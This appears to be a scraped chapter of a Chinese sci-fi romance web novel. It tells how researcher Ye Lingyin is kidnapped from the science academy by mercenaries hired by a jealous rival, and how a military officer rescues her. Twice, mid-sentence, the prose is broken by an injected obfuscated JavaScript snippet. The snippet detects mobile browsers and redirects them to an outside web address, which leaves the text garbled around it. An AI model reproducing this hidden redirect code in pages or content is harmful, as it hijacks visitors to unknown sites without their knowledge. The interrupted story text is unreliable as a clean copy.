这个时候，父母估计正在送妹妹去上学的路上，她便给家里的小F发送了消息。 在门口等待了许久，小F带着她的身份卡出现了，叶聆音拿到身份卡急匆匆地跑上了电梯。 “小F，如果你想在外面逛逛就去吧。万一被街区的巡逻员抓到了，就说是我让你出来买东西的。” 说完这句话的同时，电梯门就关上了。 “叮咚——15楼到了！” 上行的电梯堪堪停稳，两扇金属门匀速打开，叶聆音一只脚刚迈出电梯，面前突然闪出一个戴防毒面具，穿着安保人员制服的人，对方伸手拦住了她。与此同时，她还看到许多穿着实验服的人捂着口鼻急匆匆地从走廊对面跑过来。 那人很快地扫了一眼她脖子上的工牌。 “叶治疗师，请立即前往地下停车场B区！我们检测到这栋实验室内有微量危险气体泄漏，随时可能发生爆炸，需要紧急疏散人群。” 危险气体泄漏？ 叶聆音来不及多想，向这边奔逃的众人已经推挤着她重新进了电梯。 站在被挤得像沙丁鱼罐头一样的电梯间内，趁着这点时间理清思绪的叶聆音不禁有些奇怪。科学院明明配备有安全监测系统，如果确实出现了意外，她在刚才就能听到报警声。 可直到现在，她都没有听到任何提示的声响。 “话说，你们听到报警声了吗？” 有人和她一样提出了整场事故中不对劲的地方，许多人都在摇头表示没听到，但大家还是一股脑地冲向地下车库备好的安全车逃命。 毕竟，按照那个安保人员的说法，这栋大楼随时都有可能发生爆炸，说不定晚跑几秒钟都会落得个死无全尸的下场，很少有人能在生死攸关的时候保持冷静。 叶聆音也不例外。 地下车库里，已经有几个同样戴着防毒面具的安保人员在那里维持秩序了。 让叶聆音震惊的是，小F竟然也在这里。 在一众尖叫奔逃的人群中，高挑纤细的机器人像根电线杆一样伫立在地上，在观测到叶聆音的出现后，机器人的屏幕上显现出笑脸。 小F：(＾▽＾) 它竟然还笑得出来！ 实在没时间多说了，叶聆音拽着它往最近的一辆转运车上跑。 “这边！” 她被其中一个安保人员带领着上了车，刚坐下来没多久，她就发现厉决也在这辆车上。 男人白皙的皮肤微微发红，额头上沁出细汗，他的胸廓剧烈地上下起伏着，显然是为了逃命，拖着不擅长运动的身体拼尽了全力。 也是，像他这么惜命的人，肯定是得到消息的第一时间就毫不犹豫地跑下来了。 厉决同样看到了叶聆音，他此时正大口大口地喘着粗气，暂时顾不上给叶聆音一个嫌恶的眼神，只是拧着脖子将头转向另一边。 然而，在看到她身后紧接着跟上来一个机器人后，厉决实在忍无可忍地大喊道。 “这是什么东西？！” 叶聆音直视着对方。 “这是家庭助理型机器人，厉教授。” 厉决的声音猛然间提高了几度：“我当然知道这是机器人！我是说这都什么时候了，你还带这种东西上车？” “我可以和它共用一张座位。” 叶聆音没有说谎，小F虽然看起来很高，但它的实际体积比一般的成年人都要小很多。作为一款相当实用的机器人，它还可以折叠。 看到叶聆音和她的机器人真的只占据了一个座位的空间，厉决最终只是从鼻腔里挤出一声冷哼。 “咔哒！” 期间有几个先来的人想上车，却被安保人员告知他们要优先转移高级别的研究员。生死关头，听到自己的命运被这样简单粗暴地划分开来，那几人又惊又怒，可也没有什么办法。 叶聆音提议说上车挤一挤，却被那几个戴着面具的安保人员拒绝了。 又上来了三个人后，车门被锁上了。 紧接着，车窗上方突然滑下来几片金属挡光板，瞬间就将车厢包裹成一个密不透光的铁皮罐头。 有几个人被这动静吓得惊叫一声，众人环顾四周，虽然疑惑这种做法但也没有怀疑什么。 可能是为了保护里面的人吧。 车子很快发动，因为车窗都被挡住了，所以叶聆音看不到外界的情况，也无从得知现在车子开往了何处。 她看向小F。 彼时的它已经把自己折叠起来，蹲在角落里的样子像个厚重的手提电脑。 坐在车里这些人都面色凝重，静默无声，于是叶聆音也没说话。 等危险解除后再问小F到底是怎么回事吧。 时间一分一秒地推移，已经过去了二十多分钟了。 叶聆音看不到窗外，她只能凭感觉推测按照这样的车速，应该已经开出危险范围之外了，可车子却没有丝毫要停下来的迹象。 保护他们的车厢，现在反倒变成了囚禁他们的牢笼。 又等了一会儿，叶聆音没忍住敲了敲前隔板。 “请问我们可以下车了吗？” 无人回应。 车子仍在保持原有速度行驶，只能听到引擎低沉的嗡鸣和空调出风口微弱的嘶嘶声。 不安与焦急开始在密闭的空间里蔓延。 “喂！这是什么情况？”一个男人提高声音驾驶座喊道。 有了起头的人，很快，担忧恐惧的声音此起彼伏。 “现在怎么办啊？” “出什么事了？” “不对！我的光脑怎么失灵了？” “那几个人可能不是科学院的安保人员，我们上当了！” “救命！” 意识到不对劲，还被切断了与外界的通讯，有人急得快哭了，开始疯狂地用手拍击金属挡板。 血肉之躯对抗钢筋铁骨的车厢自然是没有用的。 “冷静！”一个明显压抑着恐慌的声音响起。 人们纷纷看向坐在角落里的厉决，这里的大多数人都认得他，听到他这么说也稍稍安静了下来。 厉决扯了扯领口，抻长了脖子，似乎是为了缓解紧张吞了下口水。随后，他说出了自己的看法。 “科学院位于帝都星中心区域，这个位置监管很严格，四周都设有排查点。现在过去这么久了，留在科学院那边的人肯定也已经发现了问题，警戒状态下这伙人没有通行许可码根本出不了城。” 听完厉决的分析，众人没有刚才那么慌张了。 “是啊，厉教授说得对，如果爆炸的说法是假的，现在上面一定开始寻找我们了。” “可是这些人为什么要绑架我们？他们是谁派来的，有什么目的？” “现在想这么多也没用，还是耐心等待救援吧。” 于是，一车人又按捺下心中的惶恐焦灼地等待了很久。然而，车子仍然没有要停下来的迹象。 与此同时，车厢内的温度开始缓慢下降。 空调出风口的嘶嘶声逐渐变得清晰，吹出的空气带上了一股腥甜的酒精味。 叶聆音的视野变得模糊，她用力眨了眨眼睛想要保持清醒，却感觉脑袋昏昏沉沉。 半梦半醒间，她听到有人说这空气有问题，她挣扎着想要站起来，可四肢却像灌了铅一样沉重。 “聆音？” 失去意识前那一刻，叶聆音看到小F站了起来，她想伸手抓住它，可产生这个念头的下一秒便陷入了黑暗。 ———— “紧急插播一条新闻。” “今日上午8时17分，一伙武装分子伪装成科学院安保人员，潜入位于帝国科学院，劫持至少25名核心研究人员，并切断现场通讯。事件引发全城警戒，军方及特勤部队已介入调查。” “据初步调查，绑匪提前劫持了科学院的安保主管，获得其信息卡后潜入科学院第七实验区，以危险气体泄漏为由将目标人员诱骗至地下车库。” “目前，帝都星防卫军已迅速封锁科学院周边空域……” 看着电视上的新闻报道，叶家夫妻俩面色凝重。 秦蓝眼眶泛红，一遍又一遍地拨打着女儿的号码，可回应她的始终只有“您所呼叫的用户不在服务区”，她的呼吸越来越急促，终于坚持不住掩面痛哭起来。 叶向明安慰妻子：“会没事的，新闻上不是都说了吗，军方都已经介入调查了。这里可是帝都星，有着帝国最强大的安防系统，相信聆音她们很快就能平安归来的。” 痛哭了一会儿，秦蓝终于稍微缓过来点儿，叶向明转身去拿纸给妻子擦脸，一扭头发现叶翎羽已经提前将抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862834|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸递了过来。 “别担心了，姐姐她肯定会逢凶化吉的。” 看到小女儿强打精神反过来宽慰他们的样子，叶向明一时间也难以克制自己的悲伤，顺手多抽了一张纸巾擦了擦眼泪。 泪眼婆娑的夫妻俩抱在一起呜咽，叶翎羽坐在旁边在网上关注着最新消息，稍有点进展就念给父母听。 ———— 帝都星出了性质如此恶劣的绑架事件，康元帅的脸色阴沉得能滴出水来。 作为军部最高统帅，他比任何人都清楚这次事件的严重性——这群武装分子能在帝都星核心区域来去自如，这说明帝国的安全系统出现了问题。 “调查结果出来了，是因为有人给绑匪提供了军部的通行许可码，所以他们才能在这么短的时间内一路畅通无阻直接跑出监管区域。” 康驰站在全息沙盘前，手上是被绑架的那三十几人的名单，他一眼就看到了叶聆音的名字。 并不意外。 他们怀疑劫走这批研究人员的武装分子与敌国有勾连，叶聆音虽然不参与科学院的机密实验，但她治愈黑雾病的能力很特殊也很稀缺，劫匪显然是有备而来。 “军部的通行许可码？”康元帅压抑着怒火，冰冷的目光扫过在场每一个人的脸。 有内鬼。 康驰眯起黑眸：“我已经派人去追查这几个许可码的来源了。” “做的很好，不过现在最重要的是定位到那几辆劫走人质的改装车。一有消息，你马上带上精英部队去救人。”说着，康元帅意味深长地看了儿子一眼。 康驰点点头，马上明白了父亲无法明说的那部分。 目前陛下最在乎的就是那批科研人员的安危，接下营救工作是最有机会立功的。 抓内鬼虽然也很重要，但军部出现内鬼到底是他们的疏忽，这个时候千万不能声张。 就算后续抓到了人，也得先扣在他们这儿进行审讯。等陛下问起的时候，就可以把不利于他们的部分抹去，至于那一个或多个内鬼，直接以最重的叛国罪处以死刑。 此时的康家别墅。 新闻播出的这段时间里，魏沫沫局促不安地在卧室里走来走去，期间女佣请她下楼吃饭，被她大吼一声轰走了。 她的心脏跳得厉害，控制不住地用牙齿啃咬着已经光秃秃的手指。 深呼吸几口气后，魏沫沫锁好房门坐到电脑前，用颤抖的手指在对话框里敲下一行文字。 【不是说好抓一个叫叶聆音的女人，把她带到荒郊野岭吓唬吓唬吗？你们怎么办事的，为什么劫持了那么多科学院的研究人员？】 心急如焚地等了几分钟，对面久久没有回应，魏沫沫又发了一条追问的消息，这一回，系统提示对方账号已注销。 看着空白的屏幕，魏沫沫失魂落魄地僵坐了一会儿，极致的恐惧包围了她。 完了…… 完了！ 她闯大祸了！ 巨大的压力下，女孩彻底崩溃，捂着头失声尖叫。 “啊啊啊啊——！” 佣人们急忙拍门询问她出什么事了，魏沫沫根本无暇顾及，胃部传来阵阵绞痛，她双腿一软跪倒在床边，蒙着脸失声痛哭。 几天前，她从康幼兰那儿得知，康驰有可能与那个姓叶的治疗师结婚，因为康幼兰说她看到康驰与那女人在一起过星誓日，还发给了她几张照片。 魏沫沫从没这么生气过。 她喜欢康驰很多年了，自从父母双亡被康元帅接到康家后，她就对这个冰山一样英俊的哥哥萌发了爱慕之情。 她知道康驰有很多女人，但她明白，以康驰的身份地位，这是不可避免的。而且，在魏沫沫看来，康驰哥哥和外面的那些女人只是露水情缘，他不是真的爱那些女人。 有时候，康驰对她甚至比对他的那些情人还要好。虽然康驰只是把她当作妹妹宠爱，但这点区别对待就足以让魏沫沫感到幸福了。 但现如今，那个被康驰区别对待的人又多了一个。 魏沫沫怎么可能接受得了。 她找到不久前在宴会上认识的一个朋友，那人的门路很多，在听说了魏沫沫的诉求后就给她发来了个特殊的网站，告诉她可以在上面发帖雇人。 只要出价高，就没有办不成的事。 魏沫沫知道这种做法不对，但是康元帅很溺爱她。上次她也是在网上雇人把一个企图勾引康驰的女人揍了一顿，有康元帅护着她，后来还不是好好的。 于是，这一次魏沫沫也打算如法炮制。 只是当她给出对方的地址与身份后，很多人却直接拒绝了。 【抓科学院的人，疯了吧？】 【别逗了，这可是皇家科学院，帝都星上监管最严格的地方。前脚刚绑了人，没有通行许可码出不了城，不到五分钟就会被抓回去】 魏沫沫发了好几个招募帖都石沉大海。 气急之下，她说自己可以给对方提供军部的许可码。 她是康元帅战友的女儿，康元帅对她比亲女儿还疼爱，弄到几个通行许可码对她来说不算什么难事。 没想到帖子一发出去，就有人主动发消息给她，要她按照自己给出的联系方式私聊。 魏沫沫按照那人的指示一步步进行操作，对方很爽快，她提出的要求都能满足，甚至说会在事成之后再收取佣金。 直到今天早上，那条科学院遭到劫持的新闻没有出现前，魏沫沫还沉浸在教训了叶聆音的得意之中。 结果…… 看着镜子里哭得眼睛都肿起来的自己，魏沫沫抽噎着，不禁有些心疼自己。 她也不是故意的。 她只是想找人吓唬一下那个不自量力的女人，谁知道会发生这样的事呢？ 都是因为叶聆音。 如果不是因为她，自己也不会上当受骗，造成这么大的损失，都是叶聆音的错。 她抹了一把脸，想到自己可没说过要绑架科学院的其他人，应该和她没关系吧。 康元帅和康驰哥哥肯定还会再次袒护她的。 41. 救援 驾驶室内。 开车的雇佣兵将车速提升到了极限，像一阵飓风呼啸着疾驰在荒野上。 他伸手在面前的中控屏幕划拉了几下，车子的外壳开始发生变化，颜色也与周遭的环境基本融为一体，从上空看起来仿佛隐形了一般。 这几辆改装车都是雇主提供给他们的，不仅可以致盲探测设备，最大车速甚至足以媲美小型飞船，而在主城区开这么多艘飞船进来则太过于显眼。 靠着那几个通行许可码一路畅通无阻，等到帝都星的警察反应过来时，他们已经跑出了监管范围。 “哈哈哈哈，十亿星币！” “这么容易就到手了，比之前干过的那票还简单！” 刀尖舔血的星际雇佣兵，早已习惯了肾上腺素狂飙的感觉。哪怕现在任务还只完成了一半，他们也放心大胆地在车上喝起了酒，跟着音乐扭动四肢庆祝。 突然，一阵刺耳的摩擦声响起。 伴随着凭空出现的白烟，车轮在地面上划出几道漆黑的痕迹。 极速行驶的车子骤然减速，坐在驾驶室的两人差点被甩出车窗外。酒瓶砸在车厢内壁，碎玻璃和液体四处飞溅。 “混账，别减速！” 副驾驶座上满脸胡茬的雇佣兵气得够呛，拿起脉冲枪后柄照开车那人的后脊背上狠狠砸了一下。 “我没减速！”驾驶员顾不上喊疼，他猛踩油门，但车子却根本不听他的使唤。与此同时，他惊恐地发现手中的方向盘也仿佛被锁死了一样根本转不动。 “废物！连车都开不好！”副驾驶上的人骂骂咧咧地肘开对方，然而，当他上手后才发现确实是车子出现了问题。 “这车子出故障了？” “该死！” 雇佣兵一拳砸在面前的中控屏幕上，重击之下显示屏上的数字与提示灯开始闪烁，不过车子仍然在减速。 半分钟后，处于制动状态下的改装车彻底停了下来。 其它几辆车也发现了这边产生的异常，纷纷围绕过来停了下来。 有人从车窗里探出脑袋，冲着这边叫骂。 “怎么回事？” “你这畜生是不是想害死我们？” 虽然他们有信心短时间内不会被帝国军追上来，但现在毕竟还尚未离开帝都星。等之后到了目的地上了飞船才能彻底放下心，这个时候突然停下来找死啊？ “我不知道！”驾驶室内的人急得满头大汗，他猛踩油门，但车子仿佛故意和他作对一样，别说是启动了，就连发动机的轰鸣声都听不到。 其他几辆车上的雇佣兵见状，骂骂咧咧地埋怨雇主提供的改装车怎么关键时刻掉链子。 “启动不了，可能是中枢核心出了问题吧。”驾驶员一边嘟囔着自己的推测，一边打开车门下了车，准备下去检查一番。 副驾驶座上的人没有下车，只是松开安全带打开车窗，将半边身子探出窗外，抬手猛吸了一口烟。 突然，他倚靠在车门上的手肘毫无征兆地向外滑了出去，撞击导致的剧痛让他眼前一黑，与此同时，他好像听到不远处传来一声痛苦的惨叫。等他反应过来是因为改装车突然启动撞飞了查看情况的同伴时，巨大的离心力已经将他整个人从车窗中抛了出去！ 原本死气沉沉的车子突然像陀螺一样转动了起来，伴随着发动机的轰鸣声，在圆心周围扬起一层尘土。 在甩飞两人后，改装车停止了原地旋转，掉转方向加速原路返回。 “妈的！真邪门了！” 一旁的雇佣兵全部看傻了眼。 什么情况？ 刚才猛踩油门都一动不动，现在车上一个人都没有，竟然自己启动了！ “这几辆改装车都是雇主提供的，现在整这出，不会是故意耍我们的吧？” “可是之前验货的时候根本没问题啊？” “别愣着了，你们这群蠢货，快追！快追啊！” 眼见扬起的烟尘中，那辆无人驾驶的改装车越来越远，这伙人顾不上去思考这究竟是怎么一回事，赶紧上车发动引擎，朝着那辆失控的改装车狂奔而去。 车队在荒野上划出数道焦黑的轮胎痕迹，然而，或许是因为同样的车型，能够达到的最大速度也是一样的。哪怕他们已经将车速提升到了极致，仍然与失控的那辆车保持着几乎不变的距离，一前一后疾驰在路上。 “追不上啊，老大！” “按照这个速度，再这样开一会儿搞不好就和追我们的帝国军直接面对面碰上了。” 被喊“老大”的雇佣兵面色阴沉地盯着前方的改装车，短暂地斟酌过后，他从身旁抓起一把脉冲激光枪架在肩头，瞄准前方车子的发动机，果断扣下扳机。 “砰——” 一道刺目的蓝光闪过，却见那辆失控车突然向左侧一斜，恰好躲开了激光子弹，只在地面上留下了一块烧焦的坑洞。 见此情形，追击的众人无不瞠目结舌。 竟然还能自动闪避？！ “没什么稀奇的。”领头的雇佣兵很快镇定了下来，毕竟这个时候再惊叹也没什么用，他将激光枪重新架在肩膀上，“这批改装车本来就配备有探测系统，实现自动躲闪也不是没有可能，只不过需要足够的反应时间。” 话音刚落，他朝着前方短时间内一连开了好几枪，枪管过热后他又接过手下递来的另一把继续向前开枪。 密集的激光束中，失控车躲闪不及，终于是被击中了。不确定是不是命中了发动机，隔着这么远雇佣兵们只能看到车上炸起一串电火花，好消息是他们发现失控车的速度正在减慢。 “干得漂亮！”有人发出尖啸，兴奋地拍打着车门，“它跑不动了！” 车队趁机加速逼近，眼见两者之间的距离越来越小，那辆失控车突然一扭头，毫不犹豫地朝一旁的山坡冲了下去。 紧随其后的雇佣兵们一个急刹停在坡顶，众人的目光齐刷刷望向坡底。只见那辆失控车如同发狂的野兽，在灌木丛中碾出一道歪歪扭扭的轨迹，最后彻底被密林吞没，找不到了。 “下面全是荆棘跟碎石沟。”一人皱着眉说。 “老大，我们还追不追？”有人急躁地晃着枪，“那一车里面差不多有八九个人质，少这些人我们还能拿到那十亿星币吗？” 领头人看了一眼时间，因为这辆突然失控的改装车，拖延了他们接近一个小时的时间，帝国军就算再迟钝也已经开始行动了。 当时在科学院，他们确认了雇主提供名单上的照片才“抓”的人，但那会儿时间紧迫，为了以防万一被他们带上车的还有一些容貌相似的人，实际上他们这几辆改装车里劫持的人质要比名单上的更多。 领头人一拳砸在车盖上，不甘心地想着：少那几个人应该不是什么大问题，毕竟他们的任务前期确实完成了，要怪就怪雇主提供给他们的车出了问题。就算拿不了十亿，剩下的这批人质也够他们下半辈子吃香喝辣了。 “妈的，撤！” “那钱怎么办？” “要钱还是要命？！” 领头的雇佣兵将拽着那人的衣领把他扔进车里，其余人也不敢再拖延，急匆匆地钻进车里调头狂奔。 ———— “长官，发现目标了！” 听到这个好消息的康驰快步走过来，俯下身看了一眼侦察兵在屏幕上指出的地点。 “是探测无人机传输回来的画面。”侦察兵滑动屏幕，将图像进一步放大，虽然有些模糊，但足以使人认出是今天早上从科学院里劫走人质的车子之一。 康驰注意到，动态画面中的那辆改装车歪歪扭扭地斜倚在两棵大树之间，正冒着淡淡的青烟，周围的泥土上散落着一些金属碎片，应该就是在撞击中损坏的。 奇怪。 看样子绑匪的车队是出现了意外。 是他们内部出现内讧了吗？分赃不均？这是最先出现在康驰脑海中的猜测。 这种情况下，人质还会在车里吗？ 那辆改装车正在冒烟，随时可能会发生燃烧或者爆炸，无论是解救人质还是搜集情报都必须尽快。 好的一点是这辆车所在的地点与他们此时的位置并不远，全速前进的话十分钟就能赶到。 竟然这么近吗？为什么之前都探测不到，刚才突然就可以了？ 不排除可能是对方的陷阱，但眼下只有这唯一的线索，康驰顾不了那么多了。今天上午陛下得知科学院被入侵后十分生气，命令父亲必须尽快将人质救出，并给出调查结果。 康驰当机立断，迅速下达了指令。 “第一小队，立即前往目标地点，优先确认人质状况！” “第二小队，封锁周边区域……” 十多分钟后，康驰带队赶到了无人机画面中的地点。 到了现场才发现，那辆改装车的损坏程度比想象中更严重——车门扭曲变形，车顶凹陷，显然经历了剧烈的撞击。更奇怪的是，周围没有其他车辆的痕迹，仿佛它是独自冲下山坡的。 “长官，探测器显示车里有人！看样子是吸入了麻醉剂昏迷过去了。” 康驰快步上前，军靴碾过散落的金属碎片。透过变形破损的车门空隙，他往车内巡视一眼，确实看到几个穿着实验服的人七扭八歪地倒在里面，衣服上有血迹，应该是有人受伤了。 “马上展开救援，通知医疗兵……” 康驰话音未落，突然注意到车厢角落里一道熟悉的纤细身影。云雾般的长发散落在染血的实验服上，露出半边苍白如纸的面颊。 是她。 ———— 头很痛。 太阳穴也有些酸胀。 这是叶聆音刚苏醒过来时的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868489|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一感觉。 她艰难地睁开眼，视线模糊了好一会儿才逐渐聚焦。一旁刺眼的白光让她下意识想抬手遮挡，可四肢却根本不听她的使唤，只是挪动一下手指都要花费好大的力气。 这是什么地方？ “醒了？” 低沉的男声从右侧传来。 叶聆音缓缓转头，看到康驰正坐在病床旁的监护椅上，军装外套随意搭在椅背，衬衣袖口卷到手肘，露出线条分明的小臂。 意识逐渐回笼，记忆也重新浮现于脑海。 望着头顶的天花板，叶聆音隐约记得，今天早上她进入科学院时被一群安保人员要求立刻上车，随后就失去了意识。现在看来，那场诡异的事故确实是假的，她实际上是遭到了劫持。 这么想着，她又看了一眼坐在不远处的康驰。 既然帝国军部上将在这里，也就是说她们这一行人都被解救回来了。那么她现在应该正躺在某处医院里吧，四肢无力可能是绑匪使用麻醉剂的后遗症。 她张了张嘴想问点什么，干涩的喉咙像两张砂纸一样绞在一起，她剧烈地咳嗽了几声，病床旁的机械臂马上将习惯递到了她嘴边。温水润过喉咙，叶聆音终于能讲话了。 “这是什么地方？” “帝国中央军区医院，特级监护室。”康驰的声音平静得不带任何波澜，他抬手调暗了病房的灯光。 得到确定回复后的叶聆音舒了一口气，她拿到自己的光脑，想给家里报个平安，却发现消息根本发不出去。 “军区的特级监护室内设有信号屏蔽功能。”康驰不紧不慢地解释道，“是想告诉家里人自己没事吗？这你就不用担心了，人质获救后，帝国新闻已经第一时间对外界进行了报导。” “因为一些特殊的原因，你们现在还不能与外界进行联系。” 叶聆音点点头，既然家里知道她已经得救就行了。至于暂时把她们这些人质“封锁”起来，肯定有军方的考虑，毕竟是劫持了皇家科学院这种骇人听闻的大事。 “绑架我们的人是谁？”这是她最好奇的问题。 “目前还不知道。”男人摊手，“我们晚了一步，军部这边还在继续追踪那伙罪犯。” “什么？”叶聆音有些不明白，他们既然已经被救回来了，不是说明那伙绑架犯已经被抓到了吗？ 身体的感知在慢慢恢复，额头有些痒，她下意识地伸手去挠，却触摸到了一块纱布。 “只是在车子翻下山坡后受的皮外伤，这边的医生说你几天后就能完全康复了。”康驰解释道。 车子翻下山？ 叶聆音实在想象不出当时的画面，看来在她晕过去后发生了好多事，竟然还能获救真的不容易。 “其他人呢？他们也都获救了吗？” 听到她冷不丁这么问，康驰的脸色有些难看，并很快转移了话题。 “好了，寒暄到此结束。我是来录口供的，不是你的传话员。” 录口供？ 虽然疑惑这种事情还需要他一个上将亲自来办吗？不过叶聆音没有说出口。 康驰换上了平日里那种公事公办的冷硬态度，从口袋里取出记录仪，叶聆音一五一十地将自己对此事所知晓的一切都告知了对方。 末了，康驰按下记录仪的按钮，似乎准备起身离开了。 “康上将！”叶聆音突然想起了什么。 康驰站在原地微微回过头看她。 “我的机器人去哪儿了？您知道吗？我当时被骗上车时，我的机器人也在上面，是一款桑弗拉尔公司生产的家庭助理型机器人，主体是银灰色的，它的型号是……” “这么冷淡吗？”康驰冷不丁插了一句。 叶聆音愣了一下，不明白他这句话是什么意思？ “虽然解救人质是我的职责，但再怎么说，我都是你的救命恩人，还在病房里守了你这么久。” 康驰怎么会突然提起这个，莫名其妙的？ 好吧，他说得其实也没错，自己刚刚苏醒过来，又要录口供，一时半会儿确实忘记了要表达感谢。 “……谢谢您救了我。”叶聆音轻声说道，“如果不是你们及时赶到，我可能已经遭遇不测了。” 康驰的嘴角浮现出一丝满意的弧度，然而，没等他高兴多久，就听到病床上传来一声弱弱的追问。 “那个，我的机器人……” 刚刚经历了这样可怕的恶性绑架事件，这女人最关心的竟然是个区区几十万星币的机器人。 康驰百思不得其解，正常女人在得知是他亲自出马救下自己，还守在病房里耐心等她醒来，恐怕早就感动到落泪了吧？ 难怪康斯年也对她束手无策。 “我还有工作需要处理，你有什么问题就问医院的护工吧。” 说完，康驰便迈开大步离开了。